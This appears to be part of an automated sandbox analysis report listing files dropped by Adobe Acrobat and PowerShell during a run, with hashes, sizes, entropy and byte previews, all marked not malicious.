SHA1:	8526EA405409C21B759B79D3B4C99234F01688EA
SHA-256:	D700A7E1B03F08927491AF980586B44276CA5C698F9E0417D790BF908C2BD84B
SHA-512:	4E50B7BCD3520686DE3510EA2205AF07FB8346C01C93F34B516BF2D96EE07A2B632B098E440722899FD86F50E50CADF6CC1ABEBFE88EED4D41EE0E8D3F360159
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664878051895323
Encrypted:	false
SSDEEP:	24:Yv6XGuX42JhWCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS26:YvMnJhVBgkDMUJUAh8cvM26
MD5:	5EDE272C17CD608A1AD44EE858E16333
SHA1:	F2C1FAAA667E44901127E39E4A2CFCF3022E3DA2
SHA-256:	C10D98BE56F44B0D004D68CD173151F47C029865999808DFEEB1B7ED8AAED3F2
SHA-512:	F051D19B880EAAF7F4D77BEA5E1176F0A27EB673209A684CEB5AD3A12B997AD9F1BD454B0D1310D4E707653ECB42F18A6CDB645772684EED3AAAE969202818D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.217725539352217
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJfshHHrPeUkwRe9:YvXKXFEuX42vR/ZwHAS5GUUUkee9
MD5:	807337120033C67AE3DDF32531F015D6
SHA1:	1343B5BE109763D31DC03FA6369B5F6F6B8CD7F7
SHA-256:	592EE46892EFA4E87EB736DB4E6B267421DFF9F65F332E9CFF899866A8087240
SHA-512:	C420345EBCBE271056D42AA6237C5F80517DF84AEAC115A9671D6ECB2737CB91F63DA385B70367FC259C33554EBE46B95769871626C5A4A99CBE2E33B3E20AF9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.232452530955268
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFbYuXKH2vB3/dVlPIHAR0YP+KoAvJTqgFCrPeUkwRe9:YvXKXFEuX42vR/ZwHAS5GTq16Ukee9
MD5:	A0216DC3649B51547EA8FC31C03669A6
SHA1:	05A1738C3949DD5068C30E6C879413A320ADF5D3
SHA-256:	4FB8676E9ED42B43F9E3A504622CA4763CEC307C4827C74C7B7A6092A4B73A2C
SHA-512:	82FFDDE6237D02674FAAD5757AFA094A5A0A356D18CBE124D1B916BE5060653966EE16398B3F4E4C0E2EB116855624DAE3930B69579894EB2E2B560B4B74B61F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a9f01ae-cc08-4fc8-b27f-e70075c6a53f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736732463763,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136599204401597
Encrypted:	false
SSDEEP:	48:YYpe4HGIARUBNnWkyjZHvj6PP95UqVcchh8bpBsL9THiS:x+UDABqJ5h8+D
MD5:	F9B59F04CB930A2C057ABBDC8FB6F70A
SHA1:	8E0A3F70BA004E3B0DAFC3C85B655AEBEB5B4332
SHA-256:	74CEAF93598CEC2720B9E7CB00C8F384717AD35F01AE5245EBF854607217E02D
SHA-512:	EB78D034A8CB0070F32D84F5D2764EC8B50332ADA5180BA45E6A6ECB0AAF0D37F2A31D5AAC7B3B9A8D2494C97185ADB1361017FDFAD9C3181897C661735075B0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f7e78fc2b97a4bc555f37e2d6772775a","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736555358000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"56819ac604c773f2d1295a38946ada75","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736555358000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4cf782508813bb5e157b2c693ed478e9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736555358000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"fae0bed0052b86ff1a94b77c06c71b8b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736555358000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ce8b60f8d052fe04e196d62f81bf0cf1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736555358000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e5209b2406c4dc3e21a512feee50b477","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3182233914747177
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeNkTLtq0:TGufl2GL7ms9WR1CPmPbPahAypilII
MD5:	77406EA9514479FC1CD056EADA1A2C8B
SHA1:	C7D3BD2D39BCDD60C438A18F597D13A68C440D48
SHA-256:	4A65640388B36A3AA305396AFF9901056090B105B5CA27F0C0861F56CF416E08
SHA-512:	EFD2335ED967985E559560A73DB8FEE9A61938289DC973CABB5A38ADFA8C23E84E0E8ACABDECBE0093693A5F0CEF13B9C45A2C7A6A6E83367536D480D47D2873
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7801311998723612
Encrypted:	false
SSDEEP:	24:7+tcOlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeNkTL4qVpaVrScVr0IniqLR:7MclWR1CPmPbPahFypilI/qFl2GL7msb
MD5:	511CD86AA7F66E40539135BCCA155875
SHA1:	E6E0AA7EE2BAC83E53E3156D14872564C94E8327
SHA-256:	133D803BD9B610ABA1478C1C950D3CB7F0462FDB81DD9F78018B0A94ED76D5B2
SHA-512:	99FAF4AD2993E25327D07950B433F83F03B65D11B2BC34F0574B75AA3D5198CB62217FDE544EC8F30A26DB8BB64FB6FEDFCACC69D3E5F282AC5733602F3EA7FD
Malicious:	false
Preview:	.... .c.....1.K..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg1Ld8fDfzxWR4tUPtm1VkyyPwnxgYyu:6a6TZ44ADE1Ld8fjzxjtdymuK
MD5:	8ECD28CC402879F0BC53409E0416A395
SHA1:	46BC4A4E5589BC9EF5888172A73C374EE878B6B4
SHA-256:	66847D01A94903C602A8E16EAD34705746522691D2AEF6AE10B91A0D9628FE7B
SHA-512:	6F71923F5E44DD476BF8BFBBF356107911022FEA92DE626C15C7C27314794213CF7C5C17FF8D2E3422C469EC558E2280B7E81CA231300DD3136FF1A1D2675B99
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI6b2a4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3KlYH:Qw946cPbiOxDlbYnuRK+bD3+YH
MD5:	D0597FF18F48E09878C6D6E3825557A1
SHA1:	5C9C25B350F6C42A4DDB7031B632D5128FD9EDD2
SHA-256:	0E92AC8C3B987A61799AEDE516C307D768CC1D315ECCDEFB5673679701DF8E3E
SHA-512:	DBEDF1DAFD69B7DAC75382FFB476DD1A202173E0FC1FCB7D3B74CAD865C0AAC395317981820DBCEAC38FD68FB429B877D62CEEB5CC4073CC84BB09FE431D391E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.2.9.:.2.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cypnsi2y.abg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lvasdats.bkd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-29-14-031.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.349089862133271
Encrypted:	false
SSDEEP:	384:+WTVtVUV1VjVqkpZkSkdkrkikYkDBfoBgBwi8iQNqNGcxcFcccHcFfAeA2AYuC/R:guu
MD5:	F5F83707B2F3062A0A9685E3B61A6164
SHA1:	A68C8F33E6EE895622463B059438D194662A9985
SHA-256:	1AD765F5D8EA2A8F629DA75B65A5BD3C6811450042427BE815BC49A06713A8DA
SHA-512:	084BF07DE13F7DA956691573C8BBCC82A80F798893A459F35CEB4E005701A2AD72D98280ECA82495F5B33BB4ADEE33220FF5019C139BBEB8B7F917C29C3C50DC
Malicious:	false
Preview:	SessionID=9f3ebd84-4144-481e-bf7f-92ae62634e95.1736555354051 Timestamp=2025-01-10T19:29:14:051-0500 ThreadID=7472 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9f3ebd84-4144-481e-bf7f-92ae62634e95.1736555354051 Timestamp=2025-01-10T19:29:14:074-0500 ThreadID=7472 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9f3ebd84-4144-481e-bf7f-92ae62634e95.1736555354051 Timestamp=2025-01-10T19:29:14:074-0500 ThreadID=7472 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9f3ebd84-4144-481e-bf7f-92ae62634e95.1736555354051 Timestamp=2025-01-10T19:29:14:074-0500 ThreadID=7472 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9f3ebd84-4144-481e-bf7f-92ae62634e95.1736555354051 Timestamp=2025-01-10T19:29:14:074-0500 ThreadID=7472 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.407505418385022
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbT4cbGIoecbV:ceo4+rsCd9oB
MD5:	10C6CF19B61415E10CD29D061EA59C19
SHA1:	56C6981C9C4FFA676E857C29EEB4900DAB1E6DF7
SHA-256:	CB3367775E930198841806369FAA71506AE0E072033FAFF0DEC8DB9C85AC3ADA
SHA-512:	35103B4BC5C63129619CD8F6AA046D9E9CFC16EA2E0BD0923AFA53FA8A9F5D014269DC6C4BD6FAA20B1B2E7674CDF2EBE58036ED2B185E5C209DDC36AC02723D
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2d4d28a3-16f2-4cc2-a889-e991106e64bf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\3e7e124d-996c-4fd1-b878-ebbbd1b9b4cd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\57e6523b-7e49-4733-9633-8cf0c5de926e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	1F3D69524A9D7E17BD2363C81D130F1A
SHA1:	C2A4A08839CBA47BEE2B601975F7C4F0CC191091
SHA-256:	D0FFBEC8502A0BE88A99F6708987658FEBE4CF3B6B79AF219C53EFF6458F9D9D
SHA-512:	A4CBE7073A7CB4C5E33E1CD903CCD7F24B78A04C037BFA1D90D9A5BBD12AF60E3DFFD6546277D1B765CA1DAC1CDA28D24D3454C81952B72D97CAF84DF395E99A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\91b1bccf-17ee-4aa3-a98a-5afe62a15bfb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
